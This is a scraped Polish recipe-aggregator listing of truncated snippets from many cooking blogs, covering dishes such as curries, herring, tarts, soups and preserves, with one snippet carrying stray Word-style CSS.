miseczce wymieszałam je z gęstym jogurtem - wycisnęłam do nich żółtą pastę curry,dodałam imbir, czerwoną paprykę,czosnek i pieprz. Usmażyłam wszystko dodając jeszcze przecier z pomidorów. Jeśli uznacie ,że sosu jest za mało można dodać jeszcze jogurtu. Ryż ugotowałam, dodając do niego kurkumy w celu zabarwienia go na żółty kolor. Danie szybkie ale za to  o fajnym egzotycznym smaku

potrawyregionalne
TARTA Z WARZYWNYM NADZIENIEM 180

wstawiłam do nagrzanego piekarnika  do 200 stopni na 10-15 minut. Następnie  na upieczonym cieście rozłożyłam brokuły, marchewkę  boczek, pomidora,kukurydzę. Zalałam wszystko wcześniej zrobionym sosem z jajek i śmietany i serów. Wstawiłam tartę do piekarnika i piekłam wszystko około 20 minut. Oczywiście możecie użyć innych składników. Ja będę komponować  i próbować przyrządzać tarty z różnym

potrawyregionalne
MAKARON Z ŁOSOSIEM W SOSIE ŚMIETANOWO-KOPERKOWYM 232

cebuli   i chwilę jeszcze podsmażyłam. Wsypałam sporo koperku i pieprz do smaku. Dodałam opakowanie 18% śmietany. Z racji,że łosoś był słony, nie dodawałam już soli. Sos można  wymieszać z makaronem, bądź polać nim kluski. Wiem,że danie to nie należy do najbardziej dietetycznych... ale smakuje pysznie i raz na jakiś czas można sobie przecież pozwolić

potrawyregionalne
SZASZŁYKI Z PIERSI Z INDYKA Z ANANASEM I KASZĄ KUS KUS 191

już. Bardzo polecam! Zróbcie takie szaszłyki z kaszą i sami zobaczycie ,że są super. Smacznego!! Polecam również inne szaszłyki: GRILLOWANE SZASZŁYKI W CURRY GRILLOWANE MIELONE SZASZŁYKI Z KAPARAMI I SOSEM CZOSNKOWO ZIOŁOWYM SZASZŁYKI Z PIERSI Z INDYKA Z WARZYWAMI I KASZĄ

potrawyregionalne
ZAPIEKANE BAKŁAŻANY Z RISOTTO I POMIDORAMI 159

minut. Wlałam około 0,5 litra bulionu i puszkę obranych ze skórki i pokrojonych pomidorów. Świeże pomidory pokroiłam w kostkę i dusiłam około 15 minut - pamiętając ,że sos pomidorowy im dłużej gotowany tym jest intensywniejszy w smaku i dodałam do ryżu.  Podczas duszenia ryż pochłaniał wodę, więc sukcesywnie dolewałam ją  i wszystko dusiłam około 20 minut

potrawyregionalne
SZASZŁYKI Z PIERSI Z INDYKA Z WARZYWAMI I KASZĄ KUS KUS 234

czosnku, sól i pieprz do smaku. Wymieszałam wszystko z jogurtem greckim i majonezem. SMACZNEGO! Polecam inne rodzaje szaszłyków: GRILLOWANE SZASZŁYKI W CURRY GRILLOWANE MIELONE SZASZŁYKI Z KAPARAMI I SOSEM CZOSNKOWO ZIOŁOWYM SZASZŁYKI Z PIERSI Z INDYKA Z ANANASEM I KASZĄ

potrawyregionalne
GNOCCHI GRYSIKOWE ZAPIEKANE 163

resztą parmezanu. Gnocchi zapiekłam w piekarniku nastawionym na 220 stopni  przez około 15-20 minut,aż nabrały złotawej barwy. Podałam na ciepło z podsmażonym wędzonym boczkiem z czosnkiem. Sosy np.pieczarkowy,śmietanowy i inne można podawać dowolnie w zależności od pomysłów i gustów. Smacznego

potrawyregionalne
PIEROGI ZE SZPINAKIEM I SEREM PLEŚNIOWYM 187

wrzucałam pierogi do  posolonego wrzątku z dodatkiem oleju. Po wypłynięciu odczekałam około dwóch minut i wykładałam je na talerz. Można podawać je oczywiście zaraz po ugotowaniu np. z sosem jogurtowo - czosnkowym albo tak jak ja to zrobiłam, podsmażyc na patelni,posypać serem mozzarellą ...i szybciutko zjeść;-) Smacznego

potrawyregionalne
KURKI W ŚMIETANIE Z MAKARONEM 202

Następnie dodałam opakowanie śmietany i dusiłam jeszcze około 10 minut. Ugotowałam makaron al dente,polałam go sosem z kurek i danie gotowe. Pychotka! ... i szybciutko idźcie po kurki do lasu

potrawyregionalne
MAKARON Z CZERWONĄ FASOLĄ I CHORIZO 193

puszki. Dodałam pokrojoną drobno świeżą ostrą paprykę,starty czosnek, bazylię, oregano,pieprz i sól. Podlałam wszystko wodą i smażyłam około 10 minut. Zamiast czerwonej fasoli można dodać np.ciecierzycy. Sos wymieszałam z makaronem. Danie to jest bardzo szybkie i proste w wykonaniu, a smak które daje chorizo jest przepyszny. Smacznego

potrawyregionalne
ŚLEDZIE W OLEJU Z CEBULĄ 222

kaszubsku śledzie smażone w zalewie octowej   sałatkę śledziową z burakami i ziemniakami    sałatkę śledziową z jabłkiem  śledzie z czosnkiem i majerankiem  śledzie w sosie musztardowo śmietanowym z koperkiem

potrawyregionalne
PLACKI ZIEMNIACZANE Z KURKAMI 173

Dodałam 2 jajka, mąkę, wsypałam sól, pieprz i sporo majeranku. Wszystko wymieszałam. Smażyłam placki na patelni na oleju. Można usmażyć małe placuszki lub tak jak ja to zrobiłam duże. Sosem z kurek polałam placka... czujecie ten zapach lasu?... Smacznego

potrawyregionalne
GUACAMOLE 206

ząbków czosnku. Przyprawiłam solą i pieprzem. Wlałam parę łyżek oliwy z oliwek Składniki zmiksowałam. W wersji ostrzejszej można dodać do środka  ostre czerwone papryczki. Ja dodałam je oddzielnie. Sos guacamole podałam jako przystawkę z chipsami tortilla (nachos) Proponuję poniżej wersję tylko z zielonymi oliwkami,czosnkiem i pomidorem. Pomidora sparzyłam,obrałam ze skórki i wydrążyłam go z pestek. Drobno pokroiłam

potrawyregionalne
NUGGETSY NA SŁODKO Z BANANÓW 147

sól W cieście naleśnikowym, ale o gęściejszej konsystencji obtoczyłam banany. Smażyłam na oleju (około 1-2 cm.) Po wyjęciu odsączyłam nuggetsy na papierowym ręczniku. Można je podać z sosem czekoladowym,konfiturą,lodami lub cukrem pudrem. Smacznego

potrawyregionalne
ZIEMNIAKI FASZEROWANE SZPINAKIEM 193

nacięłam każdy z nich. Szpinak i starty czosnek, podsmażyłam chwilę na oliwie z oliwek. Dodałam do niego pokruszony ser lazur. Dodałam śmietanę i pieprz. Wymieszałam. I sos szpinakowy gotowy. Podsmażyłam pokrojoną w kostkę kiełbaskę- można też plasterki wędzonego boczku. Teraz nadziewałam ziemniaki szpinakiem i kiełbaską. Posypałam je startym parmezanem Można je trochę polać oliwką. Wstawiłam do piekarnika na około

potrawyregionalne
FASZEROWANE BAKŁAŻANY PO PROWANSALSKU 196

minut. Na patelni podgrzałam oliwę i dusiłam na niej pokrojoną cebulkę ze startymi ząbkami czosnku. Dodałam pokrojony miąższ z bakłażanów. Posypałam go oregano,pieprzem i solą. Wlałam pomidory i sos pomidorowy. Ugotowałam 2 torebki naturalnego ryżu. Wsypałam je do farszu. Wszystko wymieszałam. Wsypałam pokrojoną natkę pietruszki. Gotowy farsz, nałożyłam do wcześniej przygotowanych bakłażanów. Na wierzch posypałam je parmezanem. Piekłam

potrawyregionalne
KRUCHE CIASTO ZE ŚLIWKAMI 181

się pestki.  Smakują wyśmienicie na surowo, nadają się do ciast, knedli - polecam przepis na KNEDLE SEROWE ZE ŚLIWKAMI I ORZECHOWĄ PANIERKĄ dań mięsnych polecam WIEPRZOWINĘ PO AZJATYCKU W SOSIE ŚLIWKOWYM  i na powidła. POWIDŁA ŚLIWKOWE W 100 g jest zaledwie 45 kcal. Jedzmy więc teraz śliwki, kiedy jest na nie sezon. Proponuję pyszne, kruche ciasto

potrawyregionalne
TARTA Z JABŁKAMI 196

lodówki. W tym czasie obrałam jabłka i pokroiłam je na cienkie plasterki. Ułożyłam je koliście na cieście. W miseczce wymieszałam jajka z cukrem i cynamonem.  i śmietanką. Polałam sosem ułożone na cieście jabłka. Piekłam tartę w temperaturze 180 stopni około 45 minut, dopóki owoce i brzegi ciasta nie nabrały złocistego koloru. Po wystygnięciu posypałam tartę cukrem pudrem. Smacznego

potrawyregionalne
ŚLEDZIE PO KASZUBSKU 189

polać jeszcze wszystko olejem. Śledzie podawać jest najlepiej schłodzone. Smacznego! Polecam śledzie w różnych odsłonach: śledzie smażone w zalewie octowej   śledzie z czosnkiem i majerankiem śledzie w sosie śmietanowo musztardowym z koperkiem sałatkę śledziową z jabłkiem sałatkę śledziową z ziemniakami i burakami

potrawyregionalne
KURCZAK Z PIECZARKAMI W SOSIE IMBIROWO JOGURTOWYM 248

Danie to pochodzi z kuchni indyjskiej. Jego nazwa to KORMA. Tradycyjna korma to potrawa o zawiesistej,śmietanowej konsystencji. Zamiast śmietany wykorzystuje się odtłuszczony jogurt,dzięki któremu sos będzie wyśmienity a zawartość tłuszczu niska. Trzeba pamiętać,żeby jogurt się nie zważył,należy go dodawać bardzo stopniowo, cały czas mieszając. Składniki: pierś z kurczaka 4-5 ząbków czosnku kawałek świeżego korzenia imbiru

potrawyregionalne
ROLADKI Z KURCZAKIEM JARMUŻEM I KAPARAMI 210

spinałam wykałaczkami. Smażyłam roladki z obu stron na złoty kolor. Smaczne i zdrowe!   dla lubiących   j a r m u ż  polecam MAKARON Z JARMUŻEM W SOSIE ŚMIETANOWO-SEROWYM ZUPA KREM Z BROKUŁ I JARMUŻU

potrawyregionalne
ZUPA KREM Z BROKUŁ I JARMUŻU 195

pokroiłam na małe kawałeczki. Podpiekłam na suchej patelni. Posypałam ziołami prowansalskimi,granulowanym czosnkiem z odrobiną soli. Polałam niewielką ilością oliwy z oliwek. Smacznego! Zapraszam na MAKARON Z JARMUŻEM W SOSIE ŚMIETANOWO SEROWYM

potrawyregionalne
SAŁATKA Z MANGO 189

czerwoną cebulę  oraz czarne i zielone oliwki. Mango umyłam,obrałam ze skórki i pokroiłam w kostkę. Dodałam go do reszty składników. Wszystkie produkty wymieszałam. Doprawiłam sałatkę sosem. Wymieszałam oliwę z oliwek,ocet jabłkowy, musztardę dijon firmy KAMIS miód, zioła prowansalskie, pieprz i sól

potrawyregionalne
JAJKA PO BENEDYKTYŃSKU 216

Jajka te można jeść z dowolnymi ulubionymi dodatkami: chrupiącym boczkiem,szynką parmeńską,majonezem,rzeżuchą czy kiełkami... Wspaniale jest je ułożyć na ciepłych i chrupiących grzankach. Pysznie smakują z sosami np.holenderskim. Do tego szklanka soku z pomarańczy i można zacząć miło dzień. Rozbiłam jajko i wbiłam je do kubeczka. W małym garnuszku zagotowałam wodę. Dodałam do niej łyżkę octu

potrawyregionalne
NALEŚNIKI W SYROPIE POMARAŃCZOWYM 171

pomarańczy. Rozpuściłam masło. Wycisnęłam sok z połowy cytryny i łyżkę likieru pomarańczowego. Można wsypać startą skórkę z pomarańczy- ale moi domownicy nie przepadają za nią więc nie dodałam. Sos zacznie bulgotać i gęstnieć. Trzeba uważać ,żeby się nie przypalił. Układałam na patelni kolejno naleśniki i chwilę gotowałam w syropie. Można polać je brandy i przed podaniem podpalić dla efektowniejszego

potrawyregionalne
ZAPIEKANKA ZIEMNIACZANA Z BAKŁAŻANEM CUKINIĄ I BROKUŁAMI 279

posypanych ziołami. Rozłożyłam plasterki cukinii.    Brokuły. Ostatnia warstwa to ponownie plasterki ziemniaków. W miseczce rozmieszałam śmietanę i starty ser mozzarellę z dodatkiem łyżeczki czerwonej słodkiej papryki. Polałam sosem ziemniaki. Wstawiłam zapiekankę do piekarnika na około 30 minut i piekłam w temperaturze 200 stopni.   Smacznego

potrawyregionalne
ZAPIEKANKI Z CZOSNKIEM ZIOŁAMI I BUNDZEM 195

ząbki czosnku łyżka miękkiego masła 5 łyżek oliwy z oliwek zioła prowansalskie sól słodka czerwona papryka W miseczce wymieszałam oliwę, miękkie masło, przyprawy i starte ząbki czosnku. Posmarowałam sosem kromki bułki. Wierzch posypałam startym bundzem. Jest to ser z mleka owczego. Można oczywiście użyć innego, dowolnego sera. Wstawiłam je do nagrzanego do 200 stopni piekarnika na 5-10 minut. Smacznego

potrawyregionalne
PESTO Z BROKUŁ 184

ząbki czosnku. Dodałam do czosnku zmiksowane brokuły. Podsmażyłam wszystko i przyprawiłam. Możecie  dolać oliwy z oliwek,gdy pesto będzie za gęste. Ugotowałam makaron i wymieszałam go z sosem. Posypałam startym parmezanem i uprażonymi pestkami dyni. Smacznego

potrawyregionalne
KRUCHE CIASTO Z RABARBAREM 174

lata. Jego kwaskowaty smak przypadł mi bardzo do gustu. A w połączeniu ze słodkim,kruchym ciastem jest wprost przepyszny. Polecam również z rabarbarem: ciasteczka serowe z rabarbarem indyk z sosem rabarbarowym ciasto z rabarbarem i truskawkami i maślanką ciasto z rabarbarem  czerwona porzeczką i maślanką ciasto drożdżowe z rabarbarem    A także kruche ciasto jak w dzisiejszym wpisie

potrawyregionalne
PIZZA Z ANCHOIS 181

sól. Wyrobiłam i odstawiłam w ciepłe miejsce do wyrośnięcia na około 30 minut. Jak urosło, zagniotłam - dosypując jeszcze trochę mąki. Rozwałkowałam je na posmarowanej tłuszczem blasze. Posmarowałam sosem pomidorowo-cebulowym. Posypałam startą mozzarellą. Fileciki anchois przekroiłam wzdłuż (puszka 50g)   Rozłożyłam je na pizzy. Pozostały już tylko do rozłożenia przekrojone na połówki   czarne oliwki i posiekane

potrawyregionalne
SAŁATKA Z ZIEMNIAKÓW Z SZYNKĄ 228

kawałki szynki. Wsypałam świeży koperek i musztardę francuską. Przyprawiłam i wymieszałam składniki z majonezem. Smacznego!  Polecam również inne sałatki ziemniaczane: Sałatka ziemniaczana z jajkiem ogórkiem kaparami z sosem curry Ziemniaczaną z czosnkiem Śledziowa z ziemniakami i burakami

potrawyregionalne
SAŁATKA Z MAKARONEM RYŻOWYM PALUSZKAMI KRABOWYMI BROKUŁAMI 205

Rzodkiewki Czerwoną paprykę Różyczki brokuł ugotowałam w osolonej wodzie. Po przestudzeniu dodałam do sałatki. Wszystkie składniki wymieszałam. Przyprawiłam i wymieszałam z majonezem. Można użyc zamiast niego, gęsty jogurt albo sos sojowy i oliwę.  Smacznego

potrawyregionalne
ŁOSOŚ SMAŻONY W SEZAMIE 220

Składniki na marynatę: 2 łyżki sosu sojowego sok z połowy cytryny/limonki 1 łyżeczka miodu kawałek świeżego startego imbiru lub 1 łyżeczka mielonego imbiru w proszku sól i pieprz  do smaku Dzwonki łososia umyłam.  Zamarynowałam je w marynacie i odstawiłam na około godzinę. Wsypałam na talerz ziarna sezamu. Łososia wyjęłam z marynaty i obtoczyłam

potrawyregionalne
GOŁĄBKI Z ZIEMNIAKAMI I BRYNDZĄ 211

Zapraszam na gołąbki podhalańskie. Tradycyjne gołąbki z mięsa z dodatkiem np.ryżu w sosie pomidorow ym    jedliście zapewne nie raz. Te z dzisiejszego przepisu pochodzą z polskich gór. Faszerowane są ziemniakami, bryndzą,wędzonym boczkiem i cebulą. Połączenie tych składników jest naprawdę rewelacyjne i warte spróbowania.   Składniki: główka białej / włoskiej kapusty (około 1kg) 500g ziemniaków 125 g bryndzy

potrawyregionalne
KURCZAK W CURRY Z FASOLKĄ W MLECZKU KOKOSOWYM 211

starty imbir. Gdy się podsmażyła, połączyłam ją z fasolką. Wymieszałam. Wlałam mleczko kokosowe. Przykryłam i dusiłam przez około pół godziny. Dodałam koncentrat pomidorowy i przyprawy. Gdy uznacie,że sos za bardzo zgęstniał i wyparował to można wlać szklankę bulionu. Jeśli nie przeszkadzają wam kalorie dodajcie również albo zamiast bulionu śmietanę. . Podawałam z ryżem. Na wierzch można posypać natkę pietruszki

potrawyregionalne
RYBA W SOSIE CURRY W MLECZKU KOKOSOWYM 220

Dodałam pastę curry. Wymieszałam. Wlałam mleczko kokosowe. Wymieszałam i chwilkę podgrzewałam. Filety z dorsza pokroiłam w większą kostkę. Przez około 10 minut podsmażałam go na oleju. Przełożyłam go do sosu. Dusiłam rybę przez około 15 minut. Doprawiłam solą i pieprzem. Podawałam z ryżem. Smacznego

potrawyregionalne
KARTOFLAK CZYLI ŚLĄSKA BABKA ZIEMNIACZANA 469

babkę ziemniaczaną przyrządzaną przez dziadków lub rodziców... Chrupiąca z zewnątrz, pachnąca, idealna zarówno na ciepło jak i na zimno. Pokrojoną w plastry można podać z przeróżnymi dodatkami np.pikantnymi surówkami, sosem grzybowym,gulaszem z wołowiny lub kwaśną śmietaną. Parę składników ... a tyle pyszności. Składniki: 1 kg ziemniaków 2-3 cebule 2 jajka 100 g mąki pszennej 250 g wędzonego boczku

potrawyregionalne
KRÓLIK W ŚMIETANIE 228

magnezu, potasu, cynku, miedzi, manganu)   Mając na uwadze walory odżywcze i dietetyczne, spożycie mięsa króliczego zaleca się przede wszystkim ludziom starszym, dzieciom i osobom cierpiącym na skazę białkową. Sos na bazie śmietany jest naprawdę przepyszny.  Polecam! Według mnie królik jest o wiele smaczniejszy niż kurczak czy indyk.   Składniki: 1 tusza z królika 200 ml 18% śmietany

potrawyregionalne
TAPENADA Z SUSZONYCH POMIDORÓW Z KAPARAMI OLIWKAMI I SEREM PLEŚNIOWYM 195

składzie mogą znaleźć się  np.suszone pomidory, czosnek, pieczony bakłażan, anchois.  Wywodzi się z Prowansji. Wyśmienicie smakuje na grzankach. Równie dobrze można ją wykorzystać jako bazę do sosów lub jako pastę do spaghetti.  Składniki: 8 szt. suszonych pomidorów 2-3 łyżki oliwy z oliwek 8 dużych, zielonych oliwek ( mogą być też czarne) 1 łyżka kaparów 1-2 ząbki

potrawyregionalne
SURÓWKA COLESLAW 467

Fenkuł.    Dymkę i papryczkę chili.  Wszystko wymieszałam. Skropiłam sokiem z cytryny.  Do miseczki przełożyłam jogurt, majonez,musztardę i przyprawy.    Wymieszałam i polałam sosem sałatkę.   Na wierzch starłam sporo parmezanu.  Smacznego

potrawyregionalne
FALAFEL KULECZKI Z CIECIERZYCY 194

oleju do uzyskania złoto-brązowego koloru.   Przekładałam kuleczki na talerz wyłożony ręcznikiem papierowym, aby odsączyć nadmiar tłuszczu. Falafel podawać można z ryżem, kaszą w picie z warzywami albo sosami np.czosnkowym. Smacznego

potrawyregionalne
ZUPA KREM Z DYNI Z MLECZKIEM KOKOSOWYM I IMBIREM 219

minutach wsypałam pokrojoną dynię. Przyprawiłam pastą curry i garam masalą. Posoliłam do smaku.  Kolej na mleczko kokosowe. Daje cudowny kokosowy smak i rewelacyjnie sprawdza się w zupach i sosach. Wymieszałam wszystko i zalałam wodą. Można zamiast niej użyć bulionu. Przykryłam i gotowałam około 20  minut. Warzywa powinny być miękkie. Pozostało już tylko wszystko zmiksować i ewentualnie doprawić

potrawyregionalne
CUKINIA FASZEROWANA MIELONYM MIĘSEM I POMIDORAMI 185

kostkę i zeszkliłam na oliwie. Pod koniec dodałam posiekane ząbki czosnku i tymianek. Dodałam zmielone mięso i  przyprawy. Mieszałam i smażyłam około 10 minut. Następnie odsączyłam nadmiar sosu z pomidorów. Najlepiej przez sitko.  Przełożyłam je do mięsa. Wymieszałam i dusiłam przez kolejne 10-15 minut.   Starłam ser na tarce.   Wsypałam go do mięsa. Wymieszałam, doprawiłam wszystko

potrawyregionalne
ŚLEDZIE Z CZOSNKIEM I MAJERANKIEM 185

śledzie ścisło, przesypując cebulką. Zalałam je oliwą i odstawiłam do lodówki. Polecam! Smacznego!   Jak jesteście śledziolubni to polecam: śledzie smażone w zalewie octowej (klik)    śledzie w sosie śmietanowo musztardowym z koperkiem (klik)    sałatkę śledziową z jabłkiem (klik) śledzie po kaszubsku (klik) śledzie z ziemniakami i buraczkami (klik

potrawyregionalne
DESER Z MASCARPONE I MANGO 217

mango. I ponownie warstwa pokruszonych herbatników, serka. Prawda,że aż chce się jeść? Smacznego! Inne propozycje z mango. KOKOSOWE NALEŚNIKI Z MANGO SAŁATKA Z MANGO KURCZAK W CURRY W SOSIE JOGURTOWYM Z MANGO

potrawyregionalne
MAKARON ZE SZPINAKIEM BROKUŁAMI I SEREM LAZUR 199

Wymieszałam i doprawiłam do smaku. Różyczki brokuł podgotowałam w lekko osolonej wodzie. Dodałam je do szpinaku. Wymieszałam brokuły i szpinak. Pozostało już tylko ugotować makaron, polać go sosem i posypać startym parmezanem. Smacznego

potrawyregionalne
KUCHENNE INSPIRACJE OD KAMIS 239

przypraw, w skład której wchodzą: rozmaryn,tymianek,oregano,słodka papryka. Dopełnione aromatycznym i wyrazistym czosnkiem stanowią doskonałą  bazę dla dań z drobiem.   Polędwiczki z jabłkiem w sosie szałwiowym  na 4 porcje. To kolekcja ziół i przypraw, w skład której wchodzą: rozmaryn, czosnek, papryka słodka, szałwia oraz tymianek. Aromatyczna szałwia stanowi ciekawe dopełnienie dla słodkiego smaku jabłek, podczas

potrawyregionalne
ŚLEDZIE SMAŻONE W ZALEWIE OCTOWEJ 221

przeszły" przyprawami. Smacznego! Zapraszam na inne śledziki: śledzie po kaszubsku sałatka śledziowa z jabłkiem sałatka śledziowa z ziemniakami i burakami    śledzie z czosnkiem i majerankiem śledzie w sosie musztardowo śmietanowym

potrawyregionalne
MAKARON ZE SZPARAGAMI PARMEZANEM I ZIOŁAMI 191

Wreszcie nadeszła pora na pyszne, młode i jędrne szparagi. Szybkie w przygotowaniu a jakże pięknie prezentujące się na talerzu. Można je piec, grillować, gotować. Pysznie smakują z makaronem, z sosami, jajkami, sałatkami, zapiekankami. Wspaniały jest ich smak w postaci zup kremów. Idealnie pasuję do tart, pizz lub risotta. Możliwości i pomysłów na ich wykorzystanie jest bardzo wiele. Uwielbiam zielone szparagi

potrawyregionalne
BABKA ZIEMNIACZANA Z TWAROGIEM 244

Teraz masa twarogowa. I na wierzch ponownie warstwa ziemniaczana z dodatkiem posiekanej mięty. Wstawiłam naczynie do nagrzanego piekarnika i piekłam godzinę w temperaturze 180 stopni.   Można podawać z sosem śmietanowym lub kwaśną śmietaną. Ja podałam z podsmażoną cebulką i boczkiem, Smacznego

potrawyregionalne
RAGU Z KACZKI Z MAKARONEM I PANGRATTATO 270

tymianku  sól świeżo zmielony czarny pieprz oliwa Składniki na pangrattato: 1-2 kromki czerstwego chleba chrupiąca, upieczona skórka z kaczki 1 ząbek czosnku sól do smaku Składniki na sos: 1 większa cebula 3 ząbki czosnku tłuszcz powstały z pieczenia kaczki 300 ml  czerwonego wytrawnego wina 800 ml pomidorów z puszki lub przecieru pomidorowego 100 g rodzynek

potrawyregionalne
SUSZONE POMIDORY 252

usmażą. Powinny być całe zalane oliwą. Zakręcałam i odstawiałam do góry dnem.Same się wekują. Ja przerobiłam ponad 50 kg. pomidorów. Zrobiłam z nich przecier pomidorowy .   Idealny do zup, sosów, gulaszy i poprostu do picia. Miąższ który wydrążyłam idealnie wykorzystałam- nic się nie zmarnowało. Smacznego! Polecam też zrobić DOMOWY KETCHUP

potrawyregionalne
CUKINIA I BAKŁAŻAN W POMIDORACH DO SŁOIKÓW 312

Bakłażan i cukinia idealnie nadają się do  gulaszy, mięs, spaghetti i przeróżnych sosów. W lato wykorzystuję je bardzo często. Niestety w zimie brakuje mi ich bardzo. Postanowiłam więc zamknąć te pyszne warzywa w słoiczkach  i rozkoszować się ich smakiem w zimowe dni. Pokroiłam je w kawałki i wymieszałam ze świeżymi pomidorami. Warzywa można też po wyjęciu ze słoiczka

potrawyregionalne
Zupa z dynią, jarmużem i pistou 197

Dodaj pokrojony jarmuż (same liście), pomidory, przecier i bulion. Dopraw przyprawami i gotuj zupę przez 15 minut. Dodaj pieczoną dynią i gotuj jeszcze przez 5 minut. Podane składniki na sos zmiksuj. Wlej zupę do miseczek. Dodaj po łyżce pistou, Posyp zupę resztą dymki i pokruszonym manchego

codojedzenia
Dżem z dyni i pigwy 622

łatwo przywiera do garnka pod wpływem ciężaru. Przypalone kawałki będą brzydko wyglądać w jasnym dżemie. ---------- Podobne: Dżem z mirabelek i jabłek Muffiny z dynią i pigwowcami Pieczona dynia z sosem śliwkowym

Weekendy w domu i ogrodzie
Sałatka ryżowa mozaika 477

dnem. Składniki: 3-4 woreczki ryżu po 100 g 1 puszka kukurydzy 3-4 duże ogórki kiszone 1 duża cebula 3-4 jajka na twardo 2 puszki tuńczyka w sosie własnym 1 duży słoik majonezu 1 duży słoik ketchupu Wykonanie: Ogórki pokroić w dość drobną kostkę i odsączyć. Ryż ugotować na sypko i ostudzić. Cebulę drobno posiekać. Jajka pokroić

Pociąg Do Kuchni
Warsztaty z Przemkiem Błaszczykiem. Poznajemy królika z Frisco.pl 247

pęczaku, cydrowym zabajone, smażonym jarmużem i powietrzem z wędzonki, - pate z króliczej wątróbki z czatnejem z buraka, galaretką z wędzonego jabłka i chałką drożdżową, - cannelloni z królikiem, zapiekane w sosie pomidorowym z boczkiem, śmietaną, szałwią i parmezanem. Było cudownie aromatycznie i przepysznie! Przemek narzucił duże tempo i pracowaliśmy jak mróweczki! Jedni nastawiali bulion w szybkowarze, inni robili ciasto na makaron

Plate of Joy
Akademia CookUp - Wieprzowina 263

miseczkę. I kiedy wszystko mamy przygotowane, możemy zabrać się do dalszej pracy. Łukasz informuje nas co będziemy robili - oj będzie pysznie - będzie pieczona szynka z puree z topinamburu i sosem miodowo-winnym, stir-fry z bekonem, tofu, warzywami sezonowymi i makaronem sojowym, amerykańskie żeberka BBQ oraz coś co z pewnością zabierzemy ze sobą do domu - suszona wędlina ze schabu! Zabieramy

Plate of Joy
Zielone Spaghetti z gulaszem mielonym-wołowym 208

wlewam 500 ml wody, wkładam koncentrat pomidorowy, przyprawy oraz słoik z przecierem pomidorowym. 10. Całość mieszam ze sobą i wylewam na mięso.  11.Duszę ok 10 min aż sos stanie się gęstszy. 12. Między czasie przygotowuję makaron.  13. Makaron wyjmuję z opakowania.  15.Zagotowuję wodę i solę szczyptą soli.  16. Wrzucam makaron i gotuję

Gotowanie Patki
Skrzydełka w sosie barbecue. 223

Bardzo apetyczne , upieczone w piekarniku .Smacznego. Składniki: 1 kg skrzydełek ,u mnie pokrojone i bez lotki ,ale mogą być w całości 1 ząbek czosnku ,przepuścić przez praskę 5 łyżek sosu sojowego 3 łyżki oliwy 10 łyżek dobrego ketchupu 3 łyżki miodu majeranek ,papryka słodka,pikantna ,sól i pieprz Wszystkie składniki marynaty mieszamy ze sobą .Do marynaty wkładamy skrzydełka ,dobrze mieszamy

Ladylaura.
Paprykarz szczeciński 230

wędzonej makreli 1 kg obranej cebuli 450 g koncentratu pomidorowego 400 g ryżu 180 g oleju Przyprawy: 70 g soli 15 g cukru 23 g papryki słodkiej 34 g sosu sojowego 34 g octu 9 g chili 3 g pieprzu Ryż gotujemy al dente i studzimy. Cebulę kroimy w kostkę i szklimy na oleju. Dodajemy przecier i wszystkie przyprawy

Marder&Marder Manufacture
Placki ziemniaczane z fetą i szpinakiem 212

sami wiecie jak wygląda, zwłaszcza kiedy zamówimy go w restauracji. I jak ciężko wstać po nim od stołu :) Piszę "lubiłam" bo dawno nie jadłam takie klasycznego, z mięsem, sosem, papryką, z wyczuwalnym kminkiem.  Te mniejsze klasyczne placuszki ziemniaczane jem również znacznie rzadziej. Ale tak od czasu do czasu, traktując je jako "cheat meal", który podkręci uspokojony już metabolizm, pozwalam

bistro mama
Najlepsze warzywne pulpeciki do spaghetti 169

pomidorów suszonych z zalewy 1 jajko lub w wersji wegańskiej 3 łyżki nasion chia wymieszanych z 6 łyżkami gorącej wody i odstawionymi do zgęstnięcia  mała papryczka chili  sos sojowy, pieprz, majeranek lub inne przyprawy do smaku 1 łyżka oliwy/oleju kokosowego rafinowanego lub innego roślinnego Przygotowanie :  Orzechy prażymy na patelni, aż zaczną przyjemnie pachnieć, następnie (po ostygnięciu) siekamy

zdrowa vege kuchnia
Tiramisu - łatwy i szybkie deser we włoskim stylu 212

włoskim stylu od Lidl Polska , którą możecie zobaczyć na zdjęciu poniżej. Od poniedziałku (19.10) trwa u nich tydzień włoski i możecie zakupić mnóstwo pyszności prosto ze słonecznej Italii, makarony, sosy, sery, aromatyczne przyprawy, włoskie słodkości. Przyznam się, że mimo iż przesyłka miała imponującą zawartość, poczułam niedosyt i udałam się na zakupy. Musiałam użyć głosu rozsądku, by kupić tylko

Cynamonowe szczęście
Gulasz węgierski 227

dusimy na małym ogniu, pod przykryciem do miękkości. Paprykę pokroić w kostkę. Do miękkiego mięsa dodać pomidory z puszki i paprykę i dusić jeszcze z 20 minut, by sos ładnie zredukował się. Doprawić solą i pieprzem. Smacznego

na moim stole...
Farma Dyń w Powsinie. Warsztaty z Kikkoman & Tabasco 193

szerokie zastosowanie w kuchni. Można z nimi naprawdę wiele zdziałać W menu znalazły się: – sałatka z pieczonej dyni – rosti dyniowe, marynowany indyk z patelni i ostry sos czekoladowy – wędzony krem dyniowy ze smażonymi kaparami i chipsem z dojrzewającej szynki – ryba w kruszonce z pestek dyni na potrawce z soczewicy – dyniowe proziaki z kwaśną śmiatną

Moja pasja smaku
Co zrobić, aby pieczeń wieprzowa była soczysta. 156

ieczeń wieprzowa będzie soczysta, jeśli podczas pieczenia będziemy ją polewać co jakiś czas sosem znajdującym się na dnie brytfanki. Nigdy nie polewajmy podczas pieczenia pieczeni zimnym płynem np. wodą ponieważ mięso zrobi się twarde i łykowate

Przepisy i porady kulinarne
Zapiekana kapusta z mięsnym farszem 256

Passatę miksujemy z tymiankiem i ząbkiem czosnku. Do smaku doprawiamy solą i pieprzem. Do kapusty przekładamy farsz mięsny, na wierzch układamy plastry sera żółtego, przekładamy do żaroodpornego naczynia. Wlewamy sos pomidorowy, pieczemy pod przykryciem 60 min w temperaturze 180°C. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Sałatka z tuńczyka 250

tuńczyka w kawałkach 1 cebula 5 jajek majonez sól, pieprz Ryż gotujemy według instrukcji na opakowaniu, studzimy, następnie wsypujemy do miski. Tuńczyka przelewamy przez sitko (bez różnicy czy w sosie czy oleju) i rozdrabniamy. Cebulę kroimy w drobną kosteczkę. Jajka obieramy i kroimy w kostkę. Z kukurydzy zlewamy wodę. Wszystkie składniki wsypujemy do ryżu, dodajemy majonez, sól i pieprz. Wszystko

Pelusiowa Kuchnia
Prawdziwe Włoskie Spaghetti Carbonara 235

